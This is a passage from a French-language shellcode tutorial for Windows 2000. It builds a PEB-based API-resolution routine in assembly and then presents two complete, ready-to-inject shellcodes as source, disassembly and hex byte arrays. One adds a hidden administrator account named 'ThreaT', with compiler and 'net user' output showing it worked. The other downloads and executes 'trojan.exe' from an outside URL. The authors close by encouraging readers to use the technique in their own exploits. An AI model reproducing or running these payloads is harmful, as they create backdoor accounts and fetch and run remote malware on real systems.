dword ptr [esp+0x18] // if (*(DWORD *) names[i][startoffset] == pattern) je get_func_address; // else loop dec ebx // j-- and ebx, ebx jnz search_func // if (j != 0) // # functions[] pop eax pop eax xor eax,eax ret // retourne 0 si APINAME introuvable // End of patch // --------------- EOF ------------------- Très bien, Nous pouvons dorénavant nous pencher sur le problème lié à LoadLibraryA. comme vous avez du le remarquer, notre fonction MyGetProcAddress a besoin de l'adresse de base de la DLL dans laquelle effectuer sa recherche. pour cela, la fonction LoadLibraryA nous retourne un handle vers cette information, mais dans le cas ou notre librairie serait déjà chargé par notre processus, la technique du PEB nous permet de nous baser sur un pattern de UN SEUL BYTE ! -- SNIP -- search_dll_loop: mov esi, dword ptr [eax+0x30] cmp byte ptr [esi], 'K' // K = 'K'ernel32.dll jnz search_dll_next --------- Notre but est donc de recréer cette fonction de magière générique, de facon a pouvoir spécifier le byte de référence qui nous permettra de retrouver l'imagebase de n'importe quelle DLL situé dans le PEB. Ce qui donne : --------- SNIP ---------- search_dll_loop: mov ebx, dword ptr [esp+8] // ebx = patternDLL mov esi, dword ptr [eax+0x30] // byte ptr [esi] = MODULE_ITEM->FileName.Buffer[0] add esi, dword ptr [esp+4] // offsetDLL cmp byte ptr [esi], bl // jnz search_dll_next // if (edi != (BYTE)patternDLL) goto search_kernel32_next ------------------------- En fait, nous partons du principe que la dll à rechercher est déjà mappée avec le processus a exploiter, nous devrons donc utiliser LoadLibraryA si notre shellcode doit travailler avec une DLL non utilisée pour que celle ci soit référencée dans le PEB. Certains diront que la chose est donc inutile, mais cela est nécessaire si nous désirons... \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 4.C) LA MISE EN PLACE D'UNE FONCTION ASM EXPORTABLE EST INJECTABLE /////////////////////////////////////////////////////////////////////////////////////////// Le but du jeu est maintenant de packager les connaissances, c'est à dire de créer une fonction qui pourra être facilement utilisée comme support dans votre conception de shellcode basé sur le PEB. Si nous récapitulons, concrètement, nous avons besoin de : - UN BYTE définissant la dll pour laquelle retrouver l'adresse de base - UN DWORD pointant sur le byte de la dll a rechercher - UN DWORD définissant un pattern pour l'API dont on doit connaitre l'adresse exportée - UN DWORD pour l'offset pointant sur le pattern ok, voici ce que donne le prototype de notre fonction - int API_search (DWORD OffsetDll, Byte PatternDLL, DWORD OffsetApi, DWORD patternAPI) - place au code ---------------------------------------------------- PEB.asm ----------------------------------------------- API_search : push 0x30 pop ebx // elimination des \x00 mov eax, fs:[ebx] // eax = GetCurrentPEB() mov eax, dword ptr [eax+0xC] // eax = PEB->ProcessModuleInfo mov ecx, dword ptr [eax+0xC] // ecx = &PEB->ProcessModuleInfo.ModuleListLoadOrder mov eax, ecx // eax = &PEB->ProcessModuleInfo.ModuleListLoadOrder.Flink search_dll_loop: mov ebx, dword ptr [esp+8] // ebx = patternDLL mov esi, dword ptr [eax+0x30] // byte ptr [esi] = MODULE_ITEM->FileName.Buffer[0] add esi, dword ptr [esp+4] // offsetDLL cmp byte ptr [esi], bl // jnz search_dll_next // if (edi != (BYTE)patternDLL) goto search_kernel32_next //--- mov eax, dword ptr [eax+0x18] // eax = MODULE_ITEM->FileName.ImageBase; mov ebx, dword ptr [eax+0x3c] // ebx = IMAGE_DOS_HEADER->e_lfanew add ebx, eax // ebx = PIMAGE_NT_HEADERS mov ebx, dword ptr [ebx+0x78] // ebx = IMAGE_NT_HEADERS->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]->VirtualAddress add ebx, eax // ebx = PIMAGE_EXPORT_DIRECTORY mov esi, dword ptr [ebx+0x1C] add esi, eax // esi = base + expdir->AddressOfFunctions push esi // # functions[] mov esi, dword ptr [ebx+0x24] add esi, eax // esi = base + PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals push esi // # functions[] # ordinals[] mov edx, dword ptr [ebx+0x20] add edx, eax // edx = base + expdir->AddressOfNames mov ebx, dword ptr [ebx+0x18] // i = PIMAGE_EXPORT_DIRECTORY->NumberOfNames dec ebx // i-- search_func: mov esi, dword ptr [edx+4*ebx] add esi, eax // esi = names[i] add esi, dword ptr [esp+0x14] // offsetApi mov esi, dword ptr [esi] // esi = *(DWORD *) names[i][startoffset]; cmp esi, dword ptr [esp+0x18] // if (*(DWORD *) names[i][startoffset] == pattern) je get_func_address; // if (memcmp(names[i], apiname, 12) == 0) dec ebx // j-- and ebx, ebx jnz search_func // if (j != 0) // # functions[] pop eax pop eax xor eax,eax ret // retourne 0 si APINAME introuvable get_func_address: pop edi // edi = ordinals[] // # functions[] xor ecx, ecx mov cx, word ptr [edi+2*ebx] // bx = ordinals[i] pop edi // edi = functions[] // # mov edi, dword ptr [edi+4*ecx] // edi = functions[ordinals[i]] lea eax, [edi+eax] ret search_dll_next: mov ebx, dword ptr [eax] // elimination des \x00 mov eax, ebx // eax = PMODULE_ITEM cmp eax, ecx jnz search_dll_loop // while (eax == &PEB->ProcessModuleInfo.ModuleListLoadOrder) ret ---------------------------------------------------- EOF -------------------------------------------------------------- Voila, pour utiliser la fonction, voici deux exemples concrets de shellcodes qui vaudront surement mieux qu'un long discours /************************************************************************************* V. QUELQUES SHELCODES GENERQUES, BASES SUR LA FONCTION MAGIQUE *************************************************************************************/ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 5.1) SHELLCODE GENERIQUE D'EXECUTION DE COMMANDE. (150 bytes) /////////////////////////////////////////////////////////////////////////////////////////// =============================================== EXEC.C ================================================== /* * Exec win23 shellcode * By ThreaT. * * Exécute la ligne de commande indiquée en fin de shellcode * * Win2K all service pack, 150 bytes injectable, huhu :))) */ /** snip code ** =============================== ====== EL8 source code ======== =============================== #include void main () { __asm { int 3 jmp offset1 API_search : push 0x30 pop ebx // elimination des \x00 mov eax, fs:[ebx] // eax = GetCurrentPEB() mov eax, dword ptr [eax+0xC] // eax = PEB->ProcessModuleInfo mov ecx, dword ptr [eax+0xC] // ecx = &PEB->ProcessModuleInfo.ModuleListLoadOrder mov eax, ecx // eax = &PEB->ProcessModuleInfo.ModuleListLoadOrder.Flink } search_dll_loop: mov esi, dword ptr [eax+0x30] // byte ptr [esi] = MODULE_ITEM->FileName.Buffer[0] cmp byte ptr [esi], 'K' jnz search_dll_next // if (edi != 'K') goto search_kernel32_next //--- mov eax, dword ptr [eax+0x18] // eax = MODULE_ITEM->FileName.ImageBase; mov ebx, dword ptr [eax+0x3c] // ebx = IMAGE_DOS_HEADER->e_lfanew add ebx, eax // ebx = PIMAGE_NT_HEADERS mov ebx, dword ptr [ebx+0x78] // ebx = PIMAGE_NT_HEADERS->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]->VirtualAddress add ebx, eax // ebx = PIMAGE_EXPORT_DIRECTORY mov esi, dword ptr [ebx+0x1C] add esi, eax // esi = base + expdir->AddressOfFunctions push esi // # functions[] mov esi, dword ptr [ebx+0x24] add esi, eax // esi = base + PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals push esi // # functions[] # ordinals[] mov edx, dword ptr [ebx+0x20] add edx, eax // edx = base + expdir->AddressOfNames mov ebx, dword ptr [ebx+0x18] // i = PIMAGE_EXPORT_DIRECTORY->NumberOfNames dec ebx // i-- search_func: mov esi, dword ptr [edx+4*ebx] add esi, eax // esi = names[i] add esi, dword ptr [esp+10h] mov esi, dword ptr [esi] // esi = *(DWORD *) names[i][startoffset]; cmp esi, dword ptr [esp+0xC] // if (*(DWORD *) names[i][startoffset] == pattern) je get_func_address; // if (memcmp(names[i], apiname, 12) == 0) dec ebx // j-- and ebx, ebx jnz search_func // if (j != 0) // # functions[] pop eax pop eax xor eax,eax ret // retourne 0 si APINAME introuvable get_func_address: pop edi // edi = ordinals[] // # functions[] xor ecx, ecx mov cx, word ptr [edi+2*ebx] // bx = ordinals[i] pop edi // edi = functions[] // # mov edi, dword ptr [edi+4*ecx] // edi = functions[ordinals[i]] lea eax, [edi+eax] ret //--- search_dll_next: mov ebx, dword ptr [eax] // elimination des \x00 mov eax, ebx // eax = PMODULE_ITEM cmp eax, ecx jnz search_dll_loop // while (eax == &PEB->ProcessModuleInfo.ModuleListLoadOrder) ret offset1 : jmp startup start : push 1 push 'xEni' call API_search //retrouve l'adresse de WinExec. push 1 push dword ptr [esp+0xc] call eax //WinExec (command,SW_SHOW) push 1 push 'Ptix' call API_search call eax // ExitProcess (0) startup : call start // "cmd" } } =============================== ======== Disassemble ========== =============================== :00401007 EB6B jmp 00401074 * Referenced by a CALL at Addresses: |:0040107D , :00401091 | :00401009 6A30 push 00000030 :0040100B 5B pop ebx :0040100C 648B03 mov eax, dword ptr fs:[ebx] :0040100F 8B400C mov eax, dword ptr [eax+0C] :00401012 8B480C mov ecx, dword ptr [eax+0C] :00401015 8BC1 mov eax, ecx * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00401071(C) | :00401017 8B7030 mov esi, dword ptr [eax+30] :0040101A 803E4B cmp byte ptr [esi], 4B :0040101D 754C jne 0040106B :0040101F 8B4018 mov eax, dword ptr [eax+18] :00401022 8B583C mov ebx, dword ptr [eax+3C] :00401025 03D8 add ebx, eax :00401027 8B5B78 mov ebx, dword ptr [ebx+78] :0040102A 03D8 add ebx, eax :0040102C 8B731C mov esi, dword ptr [ebx+1C] :0040102F 03F0 add esi, eax :00401031 56 push esi :00401032 8B7324 mov esi, dword ptr [ebx+24] :00401035 03F0 add esi, eax :00401037 56 push esi :00401038 8B5320 mov edx, dword ptr [ebx+20] :0040103B 03D0 add edx, eax :0040103D 8B5B18 mov ebx, dword ptr [ebx+18] :00401040 4B dec ebx * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00401055(C) | :00401041 8B349A mov esi, dword ptr [edx+4*ebx] :00401044 03F0 add esi, eax :00401046 03742410 add esi, dword ptr [esp+10] :0040104A 8B36 mov esi, dword ptr [esi] :0040104C 3B74240C cmp esi, dword ptr [esp+0C] :00401050 740A je 0040105C :00401052 4B dec ebx :00401053 23DB and ebx, ebx :00401055 75EA jne 00401041 :00401057 58 pop eax :00401058 58 pop eax :00401059 33C0 xor eax, eax :0040105B C3 ret * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00401050(C) | :0040105C 5F pop edi :0040105D 33C9 xor ecx, ecx :0040105F 668B0C5F mov cx, word ptr [edi+2*ebx] :00401063 5F pop edi :00401064 8B3C8F mov edi, dword ptr [edi+4*ecx] :00401067 8D0407 lea eax, dword ptr [edi+eax] :0040106A C3 ret * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0040101D(C) | :0040106B 8B18 mov ebx, dword ptr [eax] :0040106D 8BC3 mov eax, ebx :0040106F 3BC1 cmp eax, ecx :00401071 75A4 jne 00401017 :00401073 C3 ret * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00401007(U) | :00401074 EB22 jmp 00401098 * Referenced by a CALL at Address: |:00401098 | :00401076 6A01 push 00000001 :00401078 68696E4578 push 78456E69 :0040107D E887FFFFFF call 00401009 :00401082 6A01 push 00000001 :00401084 FF74240C push [esp+0C] :00401088 FFD0 call eax :0040108A 6A01 push 00000001 :0040108C 6878697450 push 50746978 :00401091 E873FFFFFF call 00401009 :00401096 FFD0 call eax * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00401074(U) | :00401098 E8D9FFFFFF call 00401076 ** end **/ int main () { // Generated by Hex Workshop // essai4.exe - Starting Offset: 4103 (0x00001007) Length: 150 (0x00000096) unsigned char rawData[] = { "\xEB\x6B\x6A\x30\x5B\x64\x8B\x03\x8B\x40\x0C\x8B\x48\x0C\x8B\xC1" "\x8B\x70\x30\x80\x3E\x4B\x75\x4C\x8B\x40\x18\x8B\x58\x3C\x03\xD8" "\x8B\x5B\x78\x03\xD8\x8B\x73\x1C\x03\xF0\x56\x8B\x73\x24\x03\xF0" "\x56\x8B\x53\x20\x03\xD0\x8B\x5B\x18\x4B\x8B\x34\x9A\x03\xF0\x03" "\x74\x24\x10\x8B\x36\x3B\x74\x24\x0C\x74\x0A\x4B\x23\xDB\x75\xEA" "\x58\x58\x33\xC0\xC3\x5F\x33\xC9\x66\x8B\x0C\x5F\x5F\x8B\x3C\x8F" "\x8D\x04\x07\xC3\x8B\x18\x8B\xC3\x3B\xC1\x75\xA4\xC3\xEB\x22\x6A" "\x01\x68\x69\x6E\x45\x78\xE8\x87\xFF\xFF\xFF\x6A\x01\xFF\x74\x24" "\x0C\xFF\xD0\x6A\x01\x68\x78\x69\x74\x50\xE8\x73\xFF\xFF\xFF\xFF" "\xD0\xE8\xD9\xFF\xFF\xFF" // commande à executer "cmd /c @net user ThreaT /add && net localgroup administrateurs ThreaT /add" } ; void (*shellcode) () = ( void* ) rawData; shellcode (); return 0; } /* E:\code\SP>cl exec.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86 Copyright (C) Microsoft Corp 1984-1998. All rights reserved. exec.c Microsoft (R) Incremental Linker Version 6.00.8168 Copyright (C) Microsoft Corp 1992-1998. All rights reserved. /out:exec.exe exec.obj E:\code\SP>exec E:\code\SP>La commande s'est terminée correctement. La commande s'est terminée correctement. E:\code\SP>net user comptes d'utilisateurs de \\M1 ------------------------------------------------------------------------------- Administrateur Invité IUSR_AZERTY IWAM_AZERTY ThreaT TsInternetUser La commande s'est terminée correctement. E:\code\SP>net user ThreaT Nom d'utilisateur ThreaT Nom complet Commentaire Commentaires utilisateur Code du pays 000 (Valeur par défaut du système ) Compte : actif Oui Le compte expire Jamais Mot de passe : dernier changmt. 2/11/2003 9:39 PM Le mot de passe expire 3/26/2003 8:27 PM Le mot de passe modifiable 2/11/2003 9:39 PM Mot de passe exigé Oui L'utilisateur peut changer de mot de passe Oui Stations autorisées Tout Script d'ouverture de session Profil d'utilisateur Répertoire de base Dernier accès Jamais Heures d'accès autorisé Tout Appartient aux groupes locaux *Administrateurs *Utilisateurs Appartient aux groupes globaux *Aucun La commande s'est terminée correctement. E:\code\SP> */ =================================================== EOF ================================================ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 5.2) SHELLCODE GENERIQUE DOWNLOAD & EXECUTE FROM URL (247 bytes) /////////////////////////////////////////////////////////////////////////////////////////// ================================================ DLEXEC.c ============================================= /* Download & execute Real generic win32 Shellcode. * * By ThreaT. * * * ================================================================= Ce shellcode download un fichier pointé par l'URL indiquée, et l'exécute sur la machine cible * ================================================================= * * Shellcode Generique pour win2k, testé sur SP0, SP2 et SP3 * * - Auncune adresse hardcodé ! * - 247 bytes injectables (sans l'URL) * * -> ThreaT@Ifrance.com * */ /* snip code * =============================== ====== EL8 source code ======== =============================== #include void main () { __asm { jmp offset1 //API_search (DWORD OffsetDll, Byte PatternDLL, DWORD OffsetApi, DWORD patternAPI) API_search : push 0x30 pop ebx // elimination des \x00 mov eax, fs:[ebx] // eax = GetCurrentPEB() mov eax, dword ptr [eax+0xC] // eax = PEB->ProcessModuleInfo mov ecx, dword ptr [eax+0xC] // ecx = &PEB->ProcessModuleInfo.ModuleListLoadOrder mov eax, ecx // eax = &PEB->ProcessModuleInfo.ModuleListLoadOrder.Flink } search_dll_loop: mov ebx, dword ptr [esp+8] // ebx = patternDLL mov esi, dword ptr [eax+0x30] // byte ptr [esi] = MODULE_ITEM->FileName.Buffer[0] add esi, dword ptr [esp+4] // offsetDLL cmp byte ptr [esi], bl // jnz search_dll_next // if (edi != (BYTE)patternDLL) goto search_kernel32_next //--- mov eax, dword ptr [eax+0x18] // eax = MODULE_ITEM->FileName.ImageBase; mov ebx, dword ptr [eax+0x3c] // ebx = IMAGE_DOS_HEADER->e_lfanew add ebx, eax // ebx = PIMAGE_NT_HEADERS mov ebx, dword ptr [ebx+0x78] // ebx = PIMAGE_NT_HEADERS->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]->VirtualAddress add ebx, eax // ebx = PIMAGE_EXPORT_DIRECTORY mov esi, dword ptr [ebx+0x1C] add esi, eax // esi = base + expdir->AddressOfFunctions push esi // # functions[] mov esi, dword ptr [ebx+0x24] add esi, eax // esi = base + PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals push esi // # functions[] # ordinals[] mov edx, dword ptr [ebx+0x20] add edx, eax // edx = base + expdir->AddressOfNames mov ebx, dword ptr [ebx+0x18] // i = PIMAGE_EXPORT_DIRECTORY->NumberOfNames dec ebx // i-- search_func: mov esi, dword ptr [edx+4*ebx] add esi, eax // esi = names[i] add esi, dword ptr [esp+0x14] // offsetApi mov esi, dword ptr [esi] // esi = *(DWORD *) names[i][startoffset]; cmp esi, dword ptr [esp+0x18] // if (*(DWORD *) names[i][startoffset] == pattern) je get_func_address; // if (memcmp(names[i], apiname, 12) == 0) dec ebx // j-- and ebx, ebx jnz search_func // if (j != 0) // # functions[] pop eax pop eax xor eax,eax ret // retourne 0 si APINAME introuvable get_func_address: pop edi // edi = ordinals[] // # functions[] xor ecx, ecx mov cx, word ptr [edi+2*ebx] // bx = ordinals[i] pop edi // edi = functions[] // # mov edi, dword ptr [edi+4*ecx] // edi = functions[ordinals[i]] lea eax, [edi+eax] ret search_dll_next: mov ebx, dword ptr [eax] // elimination des \x00 mov eax, ebx // eax = PMODULE_ITEM cmp eax, ecx jnz search_dll_loop // while (eax == &PEB->ProcessModuleInfo.ModuleListLoadOrder) ret offset1 : jmp startup start : xor ebx,ebx push 'AxEy' push 10 push 'K' push ebx call API_search // Recherche l'adresse exportée de Kernel32!LoadLibraryA // API_search (0, 'K', 10, 'yExa') xor ecx, ecx push ecx push 'mlru' mov word ptr [esp+4], 'no' mov ebp,esp // cree un stack avec "urlmon" push ecx push ecx push ebp call eax // LoadLibraryExA ("urlmon",0,0) push 'Aeli' push 14 push 'r' push 2 call API_search // retrouve l'adresse exportée de URLMON!URLDownloadToFileA // API_search (2,'r',14, "ileA") xor ebx, ebx push ebx push 'xe.a' mov byte ptr [esp+4], 'e' mov ecx, esp //cree un stack avec "a.exe" push ebx push ebx push ecx // (char*)file push dword ptr [ebp+0x18] // URL du fichier a download = pointeur sur fin de shellcode push ebx call eax // download it ! ! // URLMON!URLDownloadToFileA (NULL,(char*)myurl, "a.exe",NULL,NULL) xor ebx, ebx push 'xEni' push 1 push 'K' push ebx call API_search //retrouve l'adresse exportée de Kernel32!WinExec // API_search (0,'K',1, "inEx") lea ecx, [esp+0x10] // ecx = (char*)file // "a.exe" push 1 // SW_SHOW (SW_HIDE = 0) push ecx call eax // execute le fichier downloadé precedement // WinExec ("a.exe",SW_SHOW) xor ebx, ebx push 'Ptix' push 1 push 'K' push ebx call API_search // retrouve l'adresse exportée de Kernel32!ExitProcess // API_search (0,'K',1,"xitP") call eax // ExitProcess (0) // terminus, tout le monde descend ! startup : call start // ce call sert a pointer sur le main() en pushant sur le stack // l'adresse de notre URL // --> "http://www.chez.com/mvm/trojan.exe" } } =============================== =============================== ====== Disassembled data ====== =============================== =============================== :00401006 EB72 jmp 0040107A * Referenced by a CALL at Addresses: |:00401088 , :004010AE , :004010D7 , :004010F1 | :00401008 6A30 push 00000030 :0040100A 5B pop ebx :0040100B 648B03 mov eax, dword ptr fs:[ebx] :0040100E 8B400C mov eax, dword ptr [eax+0C] :00401011 8B480C mov ecx, dword ptr [eax+0C] :00401014 8BC1 mov eax, ecx * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00401077(C) | :00401016 8B5C2408 mov ebx, dword ptr [esp+08] :0040101A 8B7030 mov esi, dword ptr [eax+30] :0040101D 03742404 add esi, dword ptr [esp+04] :00401021 381E cmp byte ptr [esi], bl :00401023 754C jne 00401071 :00401025 8B4018 mov eax, dword ptr [eax+18] :00401028 8B583C mov ebx, dword ptr [eax+3C] :0040102B 03D8 add ebx, eax :0040102D 8B5B78 mov ebx, dword ptr [ebx+78] :00401030 03D8 add ebx, eax :00401032 8B731C mov esi, dword ptr [ebx+1C] :00401035 03F0 add esi, eax :00401037 56 push esi :00401038 8B7324 mov esi, dword ptr [ebx+24] :0040103B 03F0 add esi, eax :0040103D 56 push esi :0040103E 8B5320 mov edx, dword ptr [ebx+20] :00401041 03D0 add edx, eax :00401043 8B5B18 mov ebx, dword ptr [ebx+18] :00401046 4B dec ebx * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0040105B(C) | :00401047 8B349A mov esi, dword ptr [edx+4*ebx] :0040104A 03F0 add esi, eax :0040104C 03742414 add esi, dword ptr [esp+14] :00401050 8B36 mov esi, dword ptr [esi] :00401052 3B742418 cmp esi, dword ptr [esp+18] :00401056 740A je 00401062 :00401058 4B dec ebx :00401059 23DB and ebx, ebx :0040105B 75EA jne 00401047 :0040105D 58 pop eax :0040105E 58 pop eax :0040105F 33C0 xor eax, eax :00401061 C3 ret * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00401056(C) | :00401062 5F pop edi :00401063 33C9 xor ecx, ecx :00401065 668B0C5F mov cx, word ptr [edi+2*ebx] :00401069 5F pop edi :0040106A 8B3C8F mov edi, dword ptr [edi+4*ecx] :0040106D 8D0407 lea eax, dword ptr [edi+eax] :00401070 C3 ret * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00401023(C) | :00401071 8B18 mov ebx, dword ptr [eax] :00401073 8BC3 mov eax, ebx :00401075 3BC1 cmp eax, ecx :00401077 759D jne 00401016 :00401079 C3 ret * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00401006(U) | :0040107A EB7C jmp 004010F8 * Referenced by a CALL at Address: |:004010F8 | :0040107C 33DB xor ebx, ebx :0040107E 6879457841 push 41784579 :00401083 6A0A push 0000000A :00401085 6A4B push 0000004B :00401087 53 push ebx :00401088 E87BFFFFFF call 00401008 :0040108D 33C9 xor ecx, ecx :0040108F 51 push ecx :00401090 6875726C6D push 6D6C7275 :00401095 66C74424046F6E mov [esp+04], 6E6F :0040109C 8BEC mov ebp, esp :0040109E 51 push ecx :0040109F 51 push ecx :004010A0 55 push ebp :004010A1 FFD0 call eax :004010A3 68696C6541 push 41656C69 :004010A8 6A0E push 0000000E :004010AA 6A72 push 00000072 :004010AC 6A02 push 00000002 :004010AE E855FFFFFF call 00401008 :004010B3 33DB xor ebx, ebx :004010B5 53 push ebx :004010B6 68612E6578 push 78652E61 :004010BB C644240465 mov [esp+04], 65 :004010C0 8BCC mov ecx, esp :004010C2 53 push ebx :004010C3 53 push ebx :004010C4 51 push ecx :004010C5 FF7518 push [ebp+18] :004010C8 53 push ebx :004010C9 FFD0 call eax :004010CB 33DB xor ebx, ebx :004010CD 68696E4578 push 78456E69 :004010D2 6A01 push 00000001 :004010D4 6A4B push 0000004B :004010D6 53 push ebx :004010D7 E82CFFFFFF call 00401008 :004010DC 8D4C2410 lea ecx, dword ptr [esp+10] :004010E0 6A01 push 00000001 :004010E2 51 push ecx :004010E3 FFD0 call eax :004010E5 33DB xor ebx, ebx :004010E7 6878697450 push 50746978 :004010EC 6A01 push 00000001 :004010EE 6A4B push 0000004B :004010F0 53 push ebx :004010F1 E812FFFFFF call 00401008 :004010F6 FFD0 call eax * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0040107A(U) | :004010F8 E87FFFFFFF call 0040107C =============================== =============================== =============================== ** end */ int main () { // Generated by Hex Workshop // essai5.exe - Starting Offset: 4102 (0x00001006) Length: 247 (0x000000F7) unsigned char rawData[] = { "\xEB\x72\x6A\x30\x5B\x64\x8B\x03\x8B\x40\x0C\x8B\x48\x0C\x8B\xC1" "\x8B\x5C\x24\x08\x8B\x70\x30\x03\x74\x24\x04\x38\x1E\x75\x4C\x8B" "\x40\x18\x8B\x58\x3C\x03\xD8\x8B\x5B\x78\x03\xD8\x8B\x73\x1C\x03" "\xF0\x56\x8B\x73\x24\x03\xF0\x56\x8B\x53\x20\x03\xD0\x8B\x5B\x18" "\x4B\x8B\x34\x9A\x03\xF0\x03\x74\x24\x14\x8B\x36\x3B\x74\x24\x18" "\x74\x0A\x4B\x23\xDB\x75\xEA\x58\x58\x33\xC0\xC3\x5F\x33\xC9\x66" "\x8B\x0C\x5F\x5F\x8B\x3C\x8F\x8D\x04\x07\xC3\x8B\x18\x8B\xC3\x3B" "\xC1\x75\x9D\xC3\xEB\x7C\x33\xDB\x68\x79\x45\x78\x41\x6A\x0A\x6A" "\x4B\x53\xE8\x7B\xFF\xFF\xFF\x33\xC9\x51\x68\x75\x72\x6C\x6D\x66" "\xC7\x44\x24\x04\x6F\x6E\x8B\xEC\x51\x51\x55\xFF\xD0\x68\x69\x6C" "\x65\x41\x6A\x0E\x6A\x72\x6A\x02\xE8\x55\xFF\xFF\xFF\x33\xDB\x53" "\x68\x61\x2E\x65\x78\xC6\x44\x24\x04\x65\x8B\xCC\x53\x53\x51\xFF" "\x75\x18\x53\xFF\xD0\x33\xDB\x68\x69\x6E\x45\x78\x6A\x01\x6A\x4B" "\x53\xE8\x2C\xFF\xFF\xFF\x8D\x4C\x24\x10\x6A\x01\x51\xFF\xD0\x33" "\xDB\x68\x78\x69\x74\x50\x6A\x01\x6A\x4B\x53\xE8\x12\xFF\xFF\xFF" "\xFF\xD0\xE8\x7F\xFF\xFF\xFF" "http://www.chez.com/mvm/trojan.exe" } ; void (*shellcode) () = ( void * ) rawData; shellcode (); return 0; } =================================================== EOF ================================================= /************************************************************************************* VI. CONCLUSION *************************************************************************************/ Pour conclure cet article, qui n'est rien d'autre qu'un grain de sable dans la plage de connaissance des shellcodes, nous attirons votre attention sur le fait que cette technique n'a été élaborée que pour windows 2000, ce qui peut être une problématique dans le cas d'une exploitation censée marcher dans un environement hétérogène (win9x/NT/2k/xp/...) Nous espérons donc que cette solution (spécifique a win2K) vous ouvrira les chakras de l'innovation dans la conception de vos futures exploits des autres OS de la gamme Windows, et que nous n'aurons plus à supporter à l'avenir des codes sources hideux, comportant d'infames buffers initialisés avec des shellcodes dépassant les 500 octets ! ! /************************************************************************************* VII. FIN *************************************************************************************/ ENFIN ! l'article est fini ! vous pouvez maintenant couper votre ordinateur et reprendre une activité normale :) CONTACT _______ ___________ ________ | Crazylord | | ThreaT | -------------------------------------------- -------------------------------------------- | | | | | | | | | Email : Crazylord@minithins.net | | Email : ThreaT@Ifrance.com | | | | | | URL : http://www.chapeaux-noirs.org | | URL : http://www.chez.com/mvm | | | | | | | | | -------------------------------------------- -------------------------------------------- Buy a book, Get a real ISP, Sit down, and learn. /* <**> Un grand merci à BlacKSilveR (blacksilver357@hotmail.com) pour la correction orthographique de ce paper <**> */